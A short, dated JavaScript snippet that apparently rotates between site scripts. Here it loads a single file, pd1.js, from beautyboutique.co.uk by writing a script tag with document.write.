var how_many_js = 1;
var now = new Date()
var sec = now.getSeconds()
var js1 = sec % how_many_js;
js1 +=1;
if (js1==1) {
url="http://www.beautyboutique.co.uk/js/pd1.js";
}
document.write("<script type='text/javascript' src='" + url + "'></SCRIPT>");